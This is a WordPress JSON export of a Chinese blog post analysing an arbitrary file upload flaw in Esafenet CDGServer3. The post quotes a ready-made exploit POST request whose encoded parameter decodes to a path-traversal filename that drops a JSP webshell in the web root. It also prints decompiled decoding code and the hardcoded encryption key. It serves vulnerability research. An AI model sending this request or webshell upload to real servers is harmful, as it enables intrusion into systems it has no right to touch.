{"id":137,"date":"2024-04-22T18:41:28","date_gmt":"2024-04-22T10:41:28","guid":{"rendered":"https:\/\/blog.luckytain.com\/?p=137"},"modified":"2024-04-22T18:47:37","modified_gmt":"2024-04-22T10:47:37","slug":"%e4%ba%bf%e8%b5%9b%e9%80%9a%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e6%bc%8f%e6%b4%9e-2023hw","status":"publish","type":"post","link":"https:\/\/blog.luckytain.com\/?p=137","title":{"rendered":"\u4ebf\u8d5b\u901a \/UploadFileFromClientServiceForClient \u4efb\u610f\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e \u6d45\u6790-2023HW"},"content":{"rendered":"<p>\u76f8\u5173\u6e90\u7801\u548c\u6587\u7ae0\u5df2\u53d1\u5230\u6211\u7684Github:<\/p>\n<p><a href=\"https:\/\/github.com\/LuckyTain\/Esafenet-analize\">https:\/\/github.com\/LuckyTain\/Esafenet-analize<\/a><\/p>\n<p>\u4ebf\u8d5b\u901a \/UploadFileFromClientServiceForClient \u4efb\u610f\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e \u6d45\u6790<\/p>\n<p><strong>\u672c\u6587\u4e3b\u8981\u5bf9QueryString\u7684\u52a0\u89e3\u5bc6\u8fdb\u884c\u5206\u6790\uff0c\u8bf7\u6c42\u4f20\u53c2\u4ee5\u53ca\u53c2\u6570\u5904\u7406\u7684\u95ee\u9898\u522b\u4eba\u6709\u53d1\u8fc7\uff0c\u6211\u5c31\u7565\u8fc7\u4e86<\/strong><\/p>\n<p>EXP\u60c5\u62a5\u6765\u81ea\uff1a<a href=\"https:\/\/github.com\/di0xide-U\/YSTupload\/blob\/main\/exp.md\">https:\/\/github.com\/di0xide-U\/YSTupload\/blob\/main\/exp.md<\/a><\/p>\n<p>\u611f\u8c22\u5404\u4f4d\u5927\u4f6c\u7684\u6f0f\u6d1e\u60c5\u62a5\uff0c\u6211\u4e5f\u662f\u7ad9\u5728\u5de8\u4eba\u7684\u80a9\u8180\u4e0a\u3002<\/p>\n<p>\u6839\u636eEXP\u5185\u5bb9\uff0cshell\u8bbf\u95ee\u5730\u5740\uff1a<a href=\"https:\/\/x.x.x.x\/tttT.jsp\">https:\/\/x.x.x.x\/tttT.jsp<\/a><\/p>\n<pre><code>POST \/CDGServer3\/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP\/1.1\nHost: xxx:8443\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/113.0\nAccept: *\/*\nContent-Length: 1\n\nshell\u5185\u5bb9<\/code><\/pre>\n<p>\u5728\u8fd9\u4e2a\u6f0f\u6d1e\u4e2d\uff0cPOST\u7684URL\u53c2\u6570<br \/>\n\u300cAFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM\u300d<\/p>\n<p>\u5f88\u660e\u663e\u662f\u88ab\u4ebf\u8d5b\u901a\u670d\u52a1\u7aef\u8fdb\u884cdecode\u540e\u624d\u662f\u771f\u6b63\u7684\u6076\u610f\u4ee3\u7801\uff0c\u800c\u8fd9\u4e00\u4e32\u6076\u610f\u4ee3\u7801\u4e5f\u51b3\u5b9a\u4e86\u6587\u4ef6\u7684\u540d\u5b57\u4ee5\u53ca\u4e0a\u4f20\u8def\u5f84\uff0c\u5373\u300c\/webapps\/ROOT\/tttT.jsp\u300d\uff0c\u5173\u952e\u5728\u4e8e\u662f\u4ebf\u8d5b\u901a\u7684decode\u65b9\u6cd5\uff0c\u4ee5\u53ca\u6211\u4eec\u5982\u4f55\u5c06\u6076\u610f\u4ee3\u7801encode\u6210\u670d\u52a1\u7aef\u53ef\u8bc6\u522b\u7684\u5b57\u7b26\u4e32\u3002<\/p>\n<p>\u6709\u5e78\u62ff\u5230\u4ebf\u8d5b\u901a\u7684\u670d\u52a1\u7aef\u6587\u4ef6\uff0c\u4ebf\u8d5b\u901a\u7684\u670d\u52a1\u7aef\u4e3b\u8981\u662f\u7531JSP\u548cSpring\u6846\u67b6\u7ec4\u6210\uff0c\u6838\u5fc3jar\u5305\u4f4d\u4e8ewebappsCDGServer3WEB-INFlibjhiberest.jar\uff0c\u901a\u8fc7web.xml\u6587\u4ef6\uff0c\u53ef\u4ee5\u770b\u5230\u6f0f\u6d1e\u63a5\u53e3\u6240\u5bf9\u5e94\u7684servlet-class\u8def\u5f84\u3002<\/p>\n<pre><code>&lt;servlet&gt;\n    &lt;servlet-name&gt;UploadFileFromClientServiceForClient&lt;\/servlet-name&gt;\n    &lt;servlet-class&gt;com.esafenet.servlet.fileManagement.UploadFileFromClientServiceForClient&lt;\/servlet-class&gt;\n&lt;\/servlet&gt;<\/code><\/pre>\n<p>\u901a\u8fc7\u53cd\u7f16\u8bd1jar\u5305\uff0c\u53ef\u4ee5\u770b\u5230\u4ebf\u8d5b\u901a\u7684decode\u65b9\u6cd5\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u6536\u5230Post\u8bf7\u6c42\u65f6\uff0c\u5bf9QueryString\u8fdb\u884cCDGUtil.decode()\u65b9\u6cd5<\/p>\n<pre><code class=\"language-java\">protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {\n    req.setCharacterEncoding(\"GBK\");\n    String value_code = req.getQueryString();\n    String value_decode = \"\";\n    String[] vds = null;\n    value_code = value_code.substring(value_code.indexOf(\"=\") + 1);\n    try {\n    value_decode = CDGUtil.decode(value_code);\n    } catch (Exception e) {\n    e.printStackTrace();\n} <\/code><\/pre>\n<p>CDGUtil.decode: \u8fd9\u91cc\u9762\u53c8\u7ecf\u8fc7\u4e86\u4e24\u4e2a\u89e3\u5bc6\u51fd\u6570getTransferUnEncrptString\u548cCodeDecoder.Decode\uff0c\u5176\u4e2d\u53c2\u6570key2\u4e3a\u5bc6\u94a5\uff0c\u7136\u800c\u5bc6\u94a5\u662f\u5199\u6b7b\u5728\u6e90\u7801\u91cc\u7684<\/p>\n<pre><code class=\"language-java\">public static String decode(String info) throws Exception {\n    info = CodeDecoder.getTransferUnEncrptString(info);\n    byte[] abyte2 = info.getBytes(\"ISO8859_1\");\n    int nLength = Array.getLength(abyte2);\n    CodeDecoder.Decode(abyte2, nLength, key2);\n    info = new String(abyte2);\n    return info;\n}<\/code><\/pre>\n<p>getTransferUnEncrptString: \u5e94\u8be5\u662f\u4ebf\u8d5b\u901a\u81ea\u5df1\u5199\u7684\u7b97\u6cd5\uff0c\u6211\u7b97\u6cd5\u592a\u83dc\u4e86\uff0c\u8111\u5b50\u8fc7\u4e0d\u4e86\uff0c\u770b\u770b\u5c31\u884c\u4e86<\/p>\n<pre><code class=\"language-java\">public static String getTransferUnEncrptString(String s)\n        throws Exception {\n    byte[] abyte0 = s.getBytes(\"ISO8859_1\");\n    int nlength = Array.getLength(abyte0);\n    byte[] result = new byte[nlength \/ 2];\n    for (int i = 0; i &lt; nlength; i += 2) {\n        byte byte_r_lower = abyte0[i];\n        byte byte_l_lower = abyte0[i + 1];\n        byte_r_lower &amp;= remain_low;\n        byte_r_lower &lt;&lt;= 4;\n        byte_r_lower &amp;= remain_up;\n        byte_l_lower &amp;= remain_low;\n        byte_l_lower |= byte_r_lower;\n        byte b_singleChar_upper = byte_l_lower;\n        result[i \/ 2] = b_singleChar_upper;\n    }\n\n    String unencrptString = new String(result, \"ISO8859_1\");\n    return unencrptString;\n}<\/code><\/pre>\n<p>CodeDecoder.Decode: \u8fd9\u91cc\u4f7f\u7528\u4e86Rijndael_Algorithm\u7b97\u6cd5\uff0c\u597d\u50cf\u662f\u7c7b\u4f3cAES\u7684\uff0c\u5bc6\u94a5<strong>abyte0<\/strong>\u662f\u5199\u6b7b\u5728\u6e90\u7801\u91cc\u7684\uff0c\u53ef\u4ee5\u76f4\u63a5\u770b\u5230<\/p>\n<pre><code class=\"language-java\">public static void Decode(byte[] abyte1, int nLength, byte[] abyte0)\n        throws Exception {\n    int groupsLen = 16 * (nLength \/ 16);\n    Object obj = Rijndael_Algorithm.makeKey(abyte0);\n    Decrypt(abyte1, abyte1, groupsLen, obj);\n    if (groupsLen != nLength) {\n        int nLeft = nLength - groupsLen;\n        for (int i = 0; i &lt; nLeft; i++)\n            abyte1[groupsLen + i] ^= i;\n\n    }\n}<\/code><\/pre>\n<pre><code class=\"language-java\">private static byte key2[] = {\n        -21, -112, 90, -68, 5, 44, 85, -86, -21, -112,\n        90, -68, 5, 44, 85, -86\n}<\/code><\/pre>\n<p>Decrypt:<\/p>\n<pre><code class=\"language-java\">private static void Decrypt(byte[] in, byte[] result, int n, Object obj)\n        throws Exception {\n    byte[] abyte = new byte[16];\n    byte[] abyte0 = new byte[16];\n    if (0 == n)\n        return;\n    for (int i = 0; i &lt; n \/ 16; i++) {\n        System.arraycopy(in, i * 16, abyte, 0, 16);\n        abyte0 = Rijndael_Algorithm.blockDecrypt(abyte, 0, obj);\n        System.arraycopy(abyte0, 0, result, i * 16, 16);\n    }\n\n}<\/code><\/pre>\n<p>\u81f3\u6b64\uff0c\u5df2\u7ecf\u5b8c\u6210\u4e86\u5b57\u7b26\u4e32\u7684\u89e3\u5bc6\uff0c\u89e3\u5bc6\u5927\u4f6c\u7684POC\u4e4b\u540e\u5f97\u5230\u7684\u7ed3\u679c\u5982\u4e0b:<\/p>\n<p>input: AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM<\/p>\n<p>output:<br \/>\nfileName=..\/..\/..\/Program Files (x86)\/ESAFENET\/CDocGuard Server\/tomcat64\/webapps\/ROOT\/tttT.jsp<\/p>\n<p>\u81f3\u4e8e\u5982\u4f55Encode\uff0c\u5404\u4f4d\u5927\u4f6c\u5404\u663e\u795e\u901a\uff0c\u9006\u5411\u7b97\u6cd5\u53ef\u4ee5\u5f97\u51fa\uff0c\u8fd9\u91cc\u5c31\u4e0d\u591a\u8bf4\u4e86\u3002<\/p>\n<p>\u81f3\u4e8e\u600e\u4e48\u4e0a\u4f20\uff0cfilename\u53c2\u6570\u600e\u4e48\u4f20\u8fc7\u53bb\u7684\uff0c\u4e5f\u4e0d\u653e\u51fa\u6240\u6709\u6e90\u7801\u4e86\uff0c\u53ea\u770b\u5173\u952e\u4ee3\u7801<\/p>\n<pre><code class=\"language-java\">ServletInputStream servletInputStream = req.getInputStream();\nbyte[] buffer = new byte[1024];\nFile file = new File(Constant.instance.UPLOAD_PATH + fileName);\nfile.getParentFile().mkdirs();\nfile.createNewFile();\nOutputStream os = new FileOutputStream(file);\nint count = 0;\nint value = 0;\nwhile ((value = servletInputStream.read(buffer)) != -1) {\n    os.write(buffer, 0, value);\n    if (++count % 10 == 0)\n    os.flush(); \n} \nos.flush();\nif (os != null)\n    os.close(); \nif (servletInputStream != null)\n    servletInputStream.close(); <\/code><\/pre>\n<p><strong>Constant.instance.UPLOAD_PATH + fileName<\/strong> \u8fd9\u91cc\u6ca1\u6709\u5904\u7406\u597d\uff0c\u53ef\u4ee5\u5c06\u6587\u4ef6\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u7684\u4efb\u610f\u4f4d\u7f6e<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u76f8\u5173\u6e90\u7801\u548c\u6587\u7ae0\u5df2\u53d1\u5230\u6211\u7684Github: https:\/\/github.com\/LuckyTain\/Esafen [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-137","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/blog.luckytain.com\/index.php?rest_route=\/wp\/v2\/posts\/137","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.luckytain.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.luckytain.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.luckytain.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.luckytain.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=137"}],"version-history":[{"count":3,"href":"https:\/\/blog.luckytain.com\/index.php?rest_route=\/wp\/v2\/posts\/137\/revisions"}],"predecessor-version":[{"id":141,"href":"https:\/\/blog.luckytain.com\/index.php?rest_route=\/wp\/v2\/posts\/137\/revisions\/141"}],"wp:attachment":[{"href":"https:\/\/blog.luckytain.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=137"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.luckytain.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=137"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.luckytain.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=137"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}